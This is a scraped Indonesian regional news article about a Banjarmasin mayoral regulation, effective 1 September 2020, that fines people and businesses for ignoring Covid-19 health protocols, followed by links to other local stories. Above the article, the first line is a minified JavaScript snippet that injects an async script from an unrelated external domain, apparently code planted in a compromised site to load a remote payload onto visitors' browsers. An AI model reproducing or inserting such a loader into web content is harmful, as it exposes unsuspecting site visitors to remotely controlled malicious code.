(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Perwali Mulai Berlaku, Abai Protokol Kesehatan Covid-19 Siap-siap Didenda!


KANALKALIMANTAN.COM, BANJARMASIN – Mulai Selasa (1/9/2020) besok, Peraturan Wali Kota (Perwali) Banjarmasin penegakan protokol kesehatan di tengah pandemi Covid-19 resmi diberlakukan.

Perwali dengan Nomor 68 Tahun 2020 -sebelumnya Nomor 60 Tahun 2020- ini secara resmi ditandatangani oleh Wali Kota H Ibnu Sina di Banjarmasin, Senin (31/8/2020).

“(Sebelumnya) Perwali Nomor 60 itu dipedomani oleh Pemko khususnya Bagian Hukum dan Dinas Kesehatan. Berkaitan dengan pelaksanaan penegakan hukum sesuai Inpres Nomor 4 tahun 2020 yang dikeluarkan tanggal 4 Agustus. Kemudian kita buat pasal-pasal sesuai kearifan lokal. Namun pada tanggal 10 Agustus keluar Instruksi Menteri Dalam Negeri Nomor 6 Tahun 2020,” tutur Ibnu di Balaikota Banjarmasin, Senin (31/8/2020).

Ia menerangkan, berdasarkan isi dari Instruksi Mendagri itu, Perwali Nomor 60 ini mengalami penyesuaian sesuai dengan format template yang dikeluarkan Kemendagri. Menurut Ibnu, Perwali baru yang berisi 18 pasal ini memiliki substansi yang sama dengan Perwali Nomor 60 tahun 2020.

Seperti penerapan sanksi berupa teguran maupun sanksi sosial. Disamping itu, sanksi berupa denda uang tunai juga diatur dalam Perwali ini, berkisar antar Rp 100 hingga Rp 150 ribu.

“Denda maksimum untuk individu sebesar Rp 100 ribu, jika tidak menggunakan masker. Tapi kalau untuk badan usaha ataupun bisnis yang tidak mengindahkan protokol kesehatan, seperti tidak mematuhi social distancing, tidak ada hand sanitizer atau tempat cuci tangan, maka dikenakan denda Rp 150 ribu,” imbuh Ibnu.

Khusus untuk badan usaha atau bisnis yang tidak mematuhi Perwali ini, selain denda Rp 150 ribu, Ibnu menegaskan akan diberi sanksi lain yaitu pencabutan izin usaha. Denda sendiri, nantinya akan masuk ke kas daerah.

Ketika ditanya target penegakan Perwali protokol kesehatan di Kota Banjarmasin ini, Ibnu masih belum mau mengungkapkannya. “Berdasarkan kesepakatan tadi, (kalau bisa) jangan dibocorkan dulu,” lugas Ibnu.

Dimulainya penerapan Perwali protokol kesehatan sendiri, dimulai dengan apel bersama di Balaikota Banjarmasin pada Selasa (1/9/2020), halaman Polresta Banjarmasin pada Rabu (2/9/2020) dan halaman Kodim 1007 Banjarmasin pada Kamis (3/9/2020).  Dalam pelaksanaannya, unsur TNI, Polri dan Satpol PP Kota Banjarmasin dilibatkan dalam penerapan Perwali ini. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

10 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

10 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

10 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

11 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

13 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

13 jam ago

This website uses cookies.